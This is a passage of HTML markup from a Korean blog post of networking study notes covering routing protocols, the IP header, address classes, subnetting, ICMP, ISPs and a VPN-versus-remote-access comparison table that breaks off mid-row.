&lt;li&gt;&lt;span&gt;라우팅&lt;/span&gt;&lt;span&gt; : ip&lt;/span&gt;&lt;span&gt;헤더에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;목적지&lt;/span&gt;&lt;span&gt; ip&lt;/span&gt;&lt;span&gt;주소를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;읽어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경로를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;결정하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;작업&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4lTXg/dJMcabv7PTb/CeTgbLwcvG1qWHtEwm4REK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4lTXg/dJMcabv7PTb/CeTgbLwcvG1qWHtEwm4REK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4lTXg/dJMcabv7PTb/CeTgbLwcvG1qWHtEwm4REK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4lTXg%2FdJMcabv7PTb%2FCeTgbLwcvG1qWHtEwm4REK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;515&quot; height=&quot;353&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;동적 경로 : 관리자의 개입 없이 네트워크 상황 변화에 따라 인접 라우터 간 자동으로 경로 정보 교환 설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;IGP : &lt;/span&gt;&lt;span&gt;단일&lt;/span&gt;&lt;span&gt; AS &lt;/span&gt;&lt;span&gt;내에서&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;라우팅&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정보를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;교환하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로토콜로&lt;/span&gt;&lt;span&gt; Distance Vector&lt;/span&gt;&lt;span&gt;와&lt;/span&gt;&lt;span&gt; Link State Vector&lt;/span&gt;&lt;span&gt;가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;Distance Vector(&lt;/span&gt;&lt;span&gt;거리&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;벡터&lt;/span&gt;&lt;span&gt;) : &lt;/span&gt;&lt;span&gt;최단&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경로를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;벨만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포트&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;알고리즘&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기반&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #00b050;&quot;&gt;RIP(&lt;/span&gt;&lt;span style=&quot;color: #00b050;&quot;&gt;홉수기반&lt;/span&gt;&lt;span style=&quot;color: #00b050;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Link State(&lt;/span&gt;&lt;span&gt;링크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;상태&lt;/span&gt;&lt;span&gt;) :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;최소&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;신장&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;트리를&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;구하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;다익스트라&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;알고리즘&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;기반&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #00b050;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OSPF&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;EGP : 다른 그룹과의 라우팅 정보를 교환하는 프로토콜&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. IP&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;네트워크를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;통해&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;패킷을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;라우팅하고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;전달하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로토콜로&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;비신뢰성&amp;middot;비연결형의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특징이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;IP header &lt;/span&gt;&lt;span&gt;구조&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RffQc/dJMcadUXr7W/PjroYYbONMZznQhc9onaYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RffQc/dJMcadUXr7W/PjroYYbONMZznQhc9onaYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RffQc/dJMcadUXr7W/PjroYYbONMZznQhc9onaYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRffQc%2FdJMcadUXr7W%2FPjroYYbONMZznQhc9onaYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;284&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;Version : IPv4 or IPv6&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Total Length : IP&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;패킷의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;byte&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Identification : Host&lt;/span&gt;&lt;span&gt;에서&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;보낸&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;패킷&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;식별&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Flags &amp;amp; Offset : IP&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;단편화&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;정보&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;TTL :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;패킷이&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;통과할&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;라우터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span&gt;IP 주소의 구조&amp;nbsp; &lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;IP 주소는 클래스로 분류되며 네트워크 ID와 호스트 ID로 분류할 수 있다.&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;269&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M6QRo/dJMcaiPvndn/lqHg5Xxq1CQSnEfAxUqhA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M6QRo/dJMcaiPvndn/lqHg5Xxq1CQSnEfAxUqhA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M6QRo/dJMcaiPvndn/lqHg5Xxq1CQSnEfAxUqhA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM6QRo%2FdJMcaiPvndn%2FlqHg5Xxq1CQSnEfAxUqhA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;573&quot; height=&quot;293&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;269&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;br /&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;클래스 구조 &lt;br /&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;Class&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;첫 옥텟 범위&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;고정 비트&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;서브넷&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;네트워크 / 호스트 비트&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;당 가용 호스트 수&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;A&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;1~126&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;0xxxxxxx&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;/8&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;네트워크 7bit / 호스트 24bit&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;16,777,216&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;B&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;128~191&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;10xxxxxx&lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;/16&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;네트워크 14bit / 호스트 16bit&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;65,536&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;C&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;192~223&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;110xxxxx&lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;/24&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;네트워크 21bit / 호스트 8bit&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;256&lt;/span&gt;&lt;span&gt; (x.x.x.0 ~ x.x.x.255)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;서브넷팅
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;주어진&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;주소를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;작게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;나누어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;여러&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;서브넷으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구성하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;vlan : lan&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;논리적으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;분할하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt; &lt;span style=&quot;background-color: #ffffff; color: #0a0a0a; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;✓&lt;/span&gt; 예를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;들어&lt;/span&gt;&lt;span&gt; /27&lt;/span&gt;&lt;span&gt;일&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt; 8&lt;/span&gt;&lt;span&gt;개의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;서브넷&lt;/span&gt;&lt;span&gt;, 32&lt;/span&gt;&lt;span&gt;개의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;호스트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;3. ICMP&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인터넷 제어 메시지 프로토콜로, 오류 보고와 질의 메시지가 주요 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. ISP&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;LAN&lt;/span&gt;&lt;span&gt;과&lt;/span&gt;&lt;span&gt; LAN&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연결하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;외부&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인터넷&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;접속을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능하게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인터넷&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;서비스&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제공&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;업체&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;스위치와&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;라우터가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있더라도&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;다른&lt;/span&gt;&lt;span&gt; lan&lt;/span&gt;&lt;span&gt;과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연결할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없으면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;인터넷&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;불가능하다&lt;/span&gt;&lt;span&gt;. (&lt;/span&gt;&lt;span&gt;당연히&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;라우터가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있어도&lt;/span&gt;&lt;span&gt; Lan)&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;909&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6SD7G/dJMcafSPYL8/YwiaXrA1otKhjDnTlp0zL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6SD7G/dJMcafSPYL8/YwiaXrA1otKhjDnTlp0zL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6SD7G/dJMcafSPYL8/YwiaXrA1otKhjDnTlp0zL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6SD7G%2FdJMcafSPYL8%2FYwiaXrA1otKhjDnTlp0zL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;402&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;909&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffffff; color: #0a0a0a; text-align: start;&quot;&gt;&amp;nbsp; ✓&lt;/span&gt; 기업&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;환경에서는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;상단&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구조를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따르기도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;하나&lt;/span&gt;&lt;span&gt; L3&lt;/span&gt;&lt;span&gt;백본&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;스위치를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;두고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;그&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;방화벽이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;라우팅&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능까지&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수행한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;5. VPN vs 원격접속&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;VPN : &lt;/span&gt;&lt;span&gt;공중망을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이용하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사설망에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연결된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것처럼&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;암호화&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;터널링&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이용해&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;안전하게&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;통신할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있도록&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;가상&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;사설망&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;구축&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;기술&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;원격접속&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;사용자가&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;다른&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위치에서&lt;/span&gt;&lt;span&gt; PC&lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;서버에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;액세스하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어할&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;기술&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;구분&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;VPN (가상 사설망)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;원격접속 (Remote Desktop)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;목적&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;네트워크 확장&lt;/span&gt;: 안전한 통로 확보&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;제어&lt;/span&gt;: 특정 기기 조작&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;IP 할당&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;사설 대역 IP를 새로 부여받음&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대상 기기의 IP/포트로 접속함&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;사용 경험&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;사설망 내 모든 자원을 내 것처럼 사용&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대상 PC의 화면을 보고 조작함&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;성능 영향&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;내 PC의 사양과 네트워크 속도가 중요&lt;/span&gt;&lt;/td&gt;
